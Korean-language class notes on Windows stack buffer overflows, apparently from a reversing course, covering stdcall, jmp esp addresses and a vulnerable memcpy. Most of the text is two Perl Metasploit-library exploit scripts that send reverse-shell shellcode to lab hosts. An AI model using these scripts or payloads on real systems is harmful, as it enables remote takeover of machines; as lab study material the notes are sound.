18일차 리버싱, std

Win7 : ntdll.jmp esp : 7799BFE4
WinXP : ntdll.jmp esp : 7C971EED

 

mov byte [edx+1F3], 0
500번쨰에 null 문자를 넣는다.
배열이기에 1F4를 1F3으로 해서 마지막에 0을 넣는다.
mov byte [edx+1F3], 0
push EDX
call 401000
jmp 4011F9

------------
jmp 00404D8B

ESP (EBP-176c)에서 빼기 7D

HOTPIX == 개발자가 오기전까지 확인

memcpy라는 함수는 길이를 재기에
실제 길이 재는 함수 strlen을쓰는게 낫다.
if(strlen(str) > 500 ){
 buf[499]=\0
}

 Function Calling Convention
함수 호출에 관한 규약(약속)
아래의 사항에 관련된 내용을 규정하고 있음
•Argument 전달 방법
•Stack or Register
•Argument 전달 순서
•Leftmost to Rightmost / Rightmost to Leftmost
•Argument 전달에 사용된 Stack 영역 해제
•Caller or Callee

 

69423169

$jmpesp = "\xED\x1E\x97\x7C";

## man 페이지 (manual정보)
man nmap //man버전으로 나옴
man nc //netcat. 단순히 연결만 시켜줌

\\\\\\\\\\\\\\\

use lib "/pentest/exploits/framework3/lib";
use Msf::Socket::Tcp;
use Pex::Text;

$conn=Msf::Socket::Tcp->new(
        'PeerAddr' => '192.168.17.150',
        'PeerPort' => '6235',
        );
if($conn->IsError){
        print "error:" . $conn->GetError . "\n";
}
$attack = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49".
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d".
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66".
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61".
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40".
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32".
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6".
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09".
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68".
"\xc0\xa8\x11\x64\x66\x68\x10\xe1\x66\x53\x89\xe1\x95\x68\xec\xf9".
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68".
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3".
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab".
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51".
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6".
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6".
"\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";

$jmpesp = "\xED\x1E\x97\x7C";
$Pattern = Pex::Text::PatternCreate(500);
$dummy = "A" x 500;
$conn->Send($Pattern . $jmpesp . $attack);
\\\\\\\\\\\\\\

\xAC\x11\x93\x7C

void pr(char *str)
// 두개 차이점을 분석해야 한다.
void __stdcall pr(char *str, int len)
{
 char buf[500]="";
 memcpy(buf,str,strlen(str));
 printf("%s\n",buf);
}
void sError(char *str)
{
 printf("Error %s", str);
 WSACleanup();
}

__stdcall
__

 

0012EA50   7C940738  ntdll.7C940738
\x38\x07\x94\x7C

458B2424

7C940738

\x38\x07\x94\x7C

//////////////////////////////////////
nc 192.168.17.100 1472
hellow

RETN 8 == pop eip
pop eip
add esp, 8

pop eip
add esp, n
--- 밑이랑 동일
mov esp, ebp
pop ebp
retn n

스택의 announding
----std
attack
arg2
arg1
retn  xx
sfp  xx
local  xx

-----
attack
?
?
7c971eed ---jmpesp (\xED\x1E\x97\x7C)
dummy cod "A"x1024

\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa

\\\\\\\\\\\\\\\\\해결
use lib "/pentest/exploits/framework2/lib";
use Msf::Socket::Tcp;
use Pex::Text;

$conn=Msf::Socket::Tcp->new(
        'PeerAddr' => '192.168.17.150',
        'PeerPort' => '1472',
        );
if($conn->IsError){
        print "error:" . $conn->GetError . "\n";
}
$attack = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49".
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d".
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66".
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61".
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40".
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32".
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6".
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09".
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68".
"\xc0\xa8\x11\x64\x66\x68\x10\xe1\x66\x53\x89\xe1\x95\x68\xec\xf9".
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68".
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3".
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab".
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51".
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6".
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6".
"\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
$jmpesp = "\xED\x1E\x97\x7C";
$add = "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa";
$Pattern = Pex::Text::PatternCreate(1024);
$dummy = "A" x 1024;
$conn->Send($Pattern . $jmpesp . $add .  $attack);

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\